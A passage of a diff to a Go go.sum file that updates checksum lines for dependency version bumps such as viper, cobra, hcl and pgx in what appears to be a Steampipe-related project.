v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 h1:y5HC9v93H5EPKqaS1UYVg1uYah5Xf51mBfIoWehClUQ= github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964/go.mod h1:Xd9hchkHSWYkEqJwUGisez3G1QY8Ryz0sdWrLPMGjLk= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -311,16 +310,16 @@ github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go. github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= -github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= -github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= +github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4= +github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI= github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= -github.com/frankban/quicktest v1.14.4 h1:g2rn0vABPOOXmZUj+vbmUp0lPoXEMuhTpIluN0XL9UY= -github.com/frankban/quicktest v1.14.4/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= +github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= +github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA= github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM= -github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU= -github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= +github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= +github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= github.com/gertd/go-pluralize v0.2.1 h1:M3uASbVjMnTsPb0PNqg+E/24Vwigyo/tvyMTtAlLgiA= github.com/gertd/go-pluralize v0.2.1/go.mod h1:rbYaKDbsXxmRfr8uygAEKhOWsjyrrqrkHVpZvoOp8zk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= @@ -342,8 +341,8 @@ github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/o github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= -github.com/go-playground/validator/v10 v10.15.5 h1:LEBecTWb/1j5TNY1YYG2RcOUN3R7NLylN+x8TTueE24= -github.com/go-playground/validator/v10 v10.15.5/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= +github.com/go-playground/validator/v10 v10.20.0 h1:K9ISHbSaI0lyB2eWMPJo+kOS/FBExVwjEviJTixqxL8= +github.com/go-playground/validator/v10 v10.20.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= github.com/go-test/deep v1.1.0 h1:WOcxcdHcvdgThNXjw0t76K42FXTU7HpNQWHpA2HHNlg= github.com/go-test/deep v1.1.0/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= github.com/goccy/go-yaml v1.11.2 h1:joq77SxuyIs9zzxEjgyLBugMQ9NEgTWxXfz2wVqwAaQ= @@ -420,7 +419,6 @@ github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hf github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= @@ -450,7 +448,6 @@ github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMd github.com/googleapis/gax-go/v2 v2.13.0 h1:yitjD5f7jQHhyDsnhKEBU52NdvvdSeGzlAnDPT0hH1s= github.com/googleapis/gax-go/v2 v2.13.0/go.mod h1:Z/fvTZXF8/uw7Xu5GuslPw+bplx6SS338j1Is2S+B7A= github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= -github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= github.com/gopherjs/gopherjs v1.17.2 h1:fQnZVsXk8uxXIStYb0N4bGk7jeyTalG/wsZjQ25dO0g= github.com/gopherjs/gopherjs v1.17.2/go.mod h1:pRRIvn/QzFLrKfvEz3qUuEhtE/zLCWfreZ6J5gM2i+k= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= @@ -471,14 +468,15 @@ github.com/hashicorp/go-safetemp v1.0.0 h1:2HR189eFNrjHQyENnQMMpCiBAsRxzbTMIgBhE github.com/hashicorp/go-safetemp v1.0.0/go.mod h1:oaerMy3BhqiTbVye6QuFhFtIceqFoDHxNAB65b+Rj1I= github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8= github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-version v1.6.0 h1:feTTfFNnjP967rlCxM/I9g701jU+RN74YKx2mOkIeek= github.com/hashicorp/go-version v1.6.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= +github.com/hashicorp/go-version v1.7.0 h1:5tqGy27NaOTB8yJKUZELlFAS/LTKJkrmONwQKeRZfjY= +github.com/hashicorp/go-version v1.7.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= -github.com/hashicorp/hcl/v2 v2.20.0 h1:l++cRs/5jQOiKVvqXZm/P1ZEfVXJmvLS9WSVxkaeTb4= -github.com/hashicorp/hcl/v2 v2.20.0/go.mod h1:WmcD/Ym72MDOOx5F62Ly+leloeu6H7m0pG7VBiU6pQk= +github.com/hashicorp/hcl/v2 v2.20.1 h1:M6hgdyz7HYt1UN9e61j+qKJBqR3orTWbI1HKBJEdxtc= +github.com/hashicorp/hcl/v2 v2.20.1/go.mod h1:TZDqQ4kNKCbh1iJp99FdPiUaVDDUPivbqxZulxDYqL4= github.com/hashicorp/terraform-registry-address v0.2.1 h1:QuTf6oJ1+WSflJw6WYOHhLgwUiQ0FrROpHPYFtwTYWM= github.com/hashicorp/terraform-registry-address v0.2.1/go.mod h1:BSE9fIFzp0qWsJUUyGquo4ldV9k2n+psif6NYkBRS3Y= github.com/hashicorp/terraform-svchost v0.1.1 h1:EZZimZ1GxdqFRinZ1tpJwVxxt49xc/S52uzrw4x0jKQ= @@ -508,6 +506,10 @@ github.com/jackc/pgproto3/v2 v2.3.3 h1:1HLSx5H+tXR9pW3in3zaztoEwQYRC9SQaYUHjTSUO github.com/jackc/pgproto3/v2 v2.3.3/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk= github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM= +github.com/jackc/pgx/v5 v5.6.0 h1:SWJzexBzPL5jb0GEsrPMLIsi/3jOo7RHlzTjcAeDrPY= +github.com/jackc/pgx/v5 v5.6.0/go.mod h1:DNZ/vlrUnhWCoFGxHAG8U2ljioxukquj7utPDgtQdTw= +github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk= +github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4= github.com/jhump/protoreflect v1.15.1 h1:HUMERORf3I3ZdX05WaQ6MIpd/NJ434hTp5YiKgfCL6c= github.com/jhump/protoreflect v1.15.1/go.mod h1:jD/2GMKKE6OqX8qTjhADU1e6DShO+gavG9e0Q693nKo= github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= @@ -522,9 +524,8 @@ github.com/karrick/gows v0.3.0 h1:/FGSuBiJMUqNOJPsAdLvHFg7RnkFoWBS8USpdco5ONQ= github.com/karrick/gows v0.3.0/go.mod h1:kdZ/jfdo8yqKYn+BMjBkhP+/oRKUABR1abaomzRi/n8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/klauspost/compress v1.15.11/go.mod h1:QPwzmACJjUTFsnSHH934V6woptycfrDDJnH7hvFVbGM= -github.com/klauspost/compress v1.17.0 h1:Rnbp4K9EjcDuVuHtd0dgA4qNuv9yKDYKK1ulpJwgrqM= -github.com/klauspost/compress v1.17.0/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= -github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= +github.com/klauspost/compress v1.17.2 h1:RlWWUY/Dr4fL8qk9YG7DTZ7PDgME2V4csBXA8L/ixi4= +github.com/klauspost/compress v1.17.2/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= @@ -532,10 +533,8 @@ github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= -github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= -github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q= -github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4= +github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= +github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= @@ -549,12 +548,12 @@ github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNx github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= -github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= -github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.4/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= -github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= -github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U= +github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= @@ -577,13 +576,12 @@ github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8 github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= github.com/opencontainers/image-spec v1.1.0 h1:8SG7/vwALn54lVB/0yZ/MMwhFrPYtpEHQb2IpWsCzug= github.com/opencontainers/image-spec v1.1.0/go.mod h1:W4s4sFTMaBeK1BQLXbG4AdM2szdn85PY75RI83NrTrM= -github.com/pelletier/go-toml/v2 v2.1.0 h1:FnwAJ4oYMvbT/34k9zzHuZNrhlz48GB3/s6at6/MHO4= -github.com/pelletier/go-toml/v2 v2.1.0/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc= +github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= +github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= github.com/pjbgf/sha1cd v0.3.0 h1:4D5XXmUUBUl/xQ6IjCkEAbqXskkq/4O7LmGn0AqMDs4= github.com/pjbgf/sha1cd v0.3.0/go.mod h1:nZ1rrWOcGJ5uZgEEVL1VUM9iRQiZvWdbZjkKyFzPPsI= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= @@ -599,14 +597,12 @@ github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUz github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/sagikazarmark/locafero v0.3.0 h1:zT7VEGWC2DTflmccN/5T1etyKvxSxpHsjb9cJvm4SvQ= -github.com/sagikazarmark/locafero v0.3.0/go.mod h1:w+v7UsPNFwzF1cHuOajOOzoq4U7v/ig1mpRjqV+Bu1U= +github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6keLGt6kNQ= +github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ= github.com/satyrius/gonx v1.4.0 h1:F3uxif5Yx6FBzdQAh79bHQK6CTJugOcN0w0Z8azQuQg= github.com/satyrius/gonx v1.4.0/go.mod h1:+r8KNe5d2tjkZU+DfhERo0G6KxkGih+1qYF6tqLHwvk= -github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 h1:n661drycOFuPLCN3Uc8sB6B/s6Z4t2xvBgU1htSHuq8= -github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3/go.mod h1:A0bzQcvG0E7Rwjx0REVgAGH58e96+X0MeOfepqsbeW4= github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 h1:v9ezJDHA1XGxViAUSIoO/Id7Fl63u6d0YmsAm+/p2hs= github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02/go.mod h1:RF16/A3L0xSa0oSERcnhd8Pu3IXSDZSK2gmGIMsttFE= github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= @@ -620,21 +616,22 @@ github.com/smartystreets/goconvey v1.8.1/go.mod h1:+/u4qLyY6x1jReYOp7GOM2FSt8aP9 github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo= github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0= github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= -github.com/spf13/afero v1.10.0 h1:EaGW2JJh15aKOejeuJ+wpFSHnbd7GE6Wvp3TsNhb6LY= -github.com/spf13/afero v1.10.0/go.mod h1:UBogFpq8E9Hx+xc5CNTTEpTnuHVmXDwZcZcE1eb/UhQ= -github.com/spf13/cast v1.5.1 h1:R+kOtfhWQE6TVQzY+4D7wJLBgkdVasCEFxSUBYBYIlA= -github.com/spf13/cast v1.5.1/go.mod h1:b9PdjNptOpzXr7Rq1q9gJML/2cdGQAo69NKzQ10KN48= -github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= -github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0= +github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8= +github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY= +github.com/spf13/cast v1.6.0 h1:GEiTHELF+vaR5dhz3VqZfFSzZjYbgeKDpBxQVS4GYJ0= +github.com/spf13/cast v1.6.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= +github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM= +github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/viper v1.17.0 h1:I5txKw7MJasPL/BrfkbA0Jyo/oELqVmux4pR/UxOMfI= -github.com/spf13/viper v1.17.0/go.mod h1:BmMMMLQXSbcHK6KAOiFLz0l5JHrU89OdIRHvsk0+yVI= +github.com/spf13/viper v1.19.0 h1:RWq5SEjt8o25SROyN3z2OrDB9l7RPd3lwTWU8EcEdcI= +github.com/spf13/viper v1.19.0/go.mod h1:GQUN9bilAbhU/jgc1bKs99f/suXKeUMct8Adx5+Ntkg= github.com/stevenle/topsort v0.2.0 h1:LLWgtp34HPX6/RBDRS0kElVxGOTzGBLI1lSAa5Lb46k= github.com/stevenle/topsort v0.2.0/go.mod h1:ck2WG2/ZrOr6dLApQ/5Xrqy5wv3T0qhKYWE7r9tkibc= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= @@ -644,7 +641,6 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/stretchr/testify v1.7.2/go.mod h1:R6va5+xMeoiuVRoj+gSkQ7d3FALtqAAGI1FQKckRals= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= @@ -662,8 +658,8 @@ github.com/turbot/pipes-sdk-go v0.9.1 h1:2yRojY2wymvJn6NQyE6A0EDFV267MNe+yDLxPVv github.com/turbot/pipes-sdk-go v0.9.1/go.mod h1:Mb+KhvqqEdRbz/6TSZc2QWDrMa5BN3E4Xw+gPt2TRkc= github.com/turbot/steampipe-plugin-code v0.7.0 h1:SROYIo/TI/Q/YNfXK+sAIS71umypUFm1Uz851TmoJkM= github.com/turbot/steampipe-plugin-code v0.7.0/go.mod h1:GvdjncWum4sZNmR0iM03SKkIzl7aZKAFtIsyAR+z4YI= -github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b h1:Rl3YjN+sveHb51BlV3I48wsxsdBIhcS33CnZTM+lmLI= -github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b/go.mod h1:5hzpfalEjfcJWp9yq75/EZoEu2Mzm34eJAPm3HOW2tw= +github.com/turbot/terraform-components v0.0.0-20231213122222-1f3526cab7a7 h1:qDMxFVd8Zo0rIhnEBdCIbR+T6WgjwkxpFZMN8zZmmjg= +github.com/turbot/terraform-components v0.0.0-20231213122222-1f3526cab7a7/go.mod h1:5hzpfalEjfcJWp9yq75/EZoEu2Mzm34eJAPm3HOW2tw= github.com/ulikunitz/xz v0.5.10 h1:t92gobL9l3HE202wg3rlk19F6X+JOxl9BBrCCMYEYd8= github.com/ulikunitz/xz v0.5.10/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ= @@ -676,8 +672,8 @@ github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1 github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg= github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= 